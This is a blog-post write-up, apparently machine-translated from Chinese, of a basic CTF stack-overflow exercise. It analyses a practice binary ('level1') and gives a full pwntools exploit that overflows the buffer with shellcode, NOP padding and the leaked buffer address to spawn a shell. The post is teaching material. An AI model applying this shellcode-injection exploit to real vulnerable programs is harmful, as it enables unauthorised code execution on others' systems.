当前位置:网站首页>PWN stack overflow basic exercise - 2
PWN stack overflow basic exercise - 2
2022-07-23 06:14:00 【Mokapeng】
Title address : Please have a look at pwn Stack overflow basic exercises ——1 ; Put all the exercise topics of this blog
pwn1
First checksec look down , I found that no protection was turned on , Cool, dropping
take level1 Import ida, Find out buf in ebp Only 0x88, But it can be written 0x100, There is obviously stack overflow 
And found that there is no direct backdoor function , Because this problem turns off the stack, it is not executable , You can construct it yourself shellcode
Direct thinking buf Deposit in shellcode, Then execute this paragraph through overflow operation shellcode that will do
First, dynamically debug to see the overflow space 
Then structure shellcode And garbage data is 136+4=140 Byte space , The return address is buf Address , Because it's on ASLR,buf The address will change , But the program directly printed it for us buf The address of , very Nice!!
To write exp.py
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
io = process('./level1')
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + b'\x90' * (140 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
\x90: Equivalent to null instruction , Even if you execute this command, there will be no error , Suitable for filling garbage characters
边栏推荐
- 两个及其简单的TCPUDP程序,树莓派与pc间的通信
- ROPgadget初识 ——— ret2syscall
- CSDN has accompanied me for four years of undergraduate life, and I have begun to record it well
- C language knowledge points (pointer knowledge type)
- 重磅!《2022中国开源发展蓝皮书》正式发布
- 星策社区发起人谭中意:用开源方式推进企业智能化转型
- 1.从键盘上输入一个百分制成绩score,按下列原则输出其等级:score≥90,等级为A;80≤score<90,等级为B;70≤score<80,等级为C;60≤score<70,等级为D;sco
- 更新C语言笔记
- 中兴通讯云基础设施开源与标准总监李响:面向企业的开源风险与开源治理
- 栈溢出基础练习题——4(写有64和32位两种攻击方式)
猜你喜欢

构建知识库时,如何避免最常见的几个错误?

Intel(中国)云基础设施软件研发总监王庆:Intel在云原生里的技术发展和展望
![[Research Report on the contents, methods, tools and results of information collection]](/img/e2/37606fbd488e55a82c7e6174b892de.jpg)
[Research Report on the contents, methods, tools and results of information collection]

PWN —— ret2libc1

2020_ACM MM_MISA: Modality-Invariant and -Specific Representations for Multimodal Sentiment Analysis

蓝桥杯31天冲刺之二十一day(C语言)

C语言知识点(指针知识类型)

中国电子信息产业发展研究院院长张立:打造我国主导的开源价值链

中国工程院院士倪光南:拥抱开源 与世界协同创新

最简单的scull设备驱动
随机推荐
LC:剑指 Offer 10- I. 斐波那契数列
CSDN has accompanied me for four years of undergraduate life, and I have begun to record it well
跨域问题的解决
2019_ ACL_ Multimodal Transformer for Unaligned Multimodal Language Sequences
Establishment of zstuacm student information base (completed with linked list)
NLP学习路线图(思维导图),非常的全面和清晰!
星策社区发起人谭中意:用开源方式推进企业智能化转型
win11任务管理器怎么打开?win11任务管理器打开的技巧方法
1.从键盘上输入一个百分制成绩score,按下列原则输出其等级:score≥90,等级为A;80≤score<90,等级为B;70≤score<80,等级为C;60≤score<70,等级为D;sco
【NumPy】
机器学习理论基础
Chapter5 深度学习基础
机器学习开发应用步骤的理解
Chapter7 recurrent neural network-1
2020_ACM MM_MISA: Modality-Invariant and -Specific Representations for Multimodal Sentiment Analysis
构建知识库时,如何避免最常见的几个错误?
LC: Sword finger offer 03. repeated numbers in the array
关于博主帅soserious的一些感想.
攻防世界 —— hacknote
Introduction to 51 single chip microcomputer (dedicated to the most understandable article for beginners) update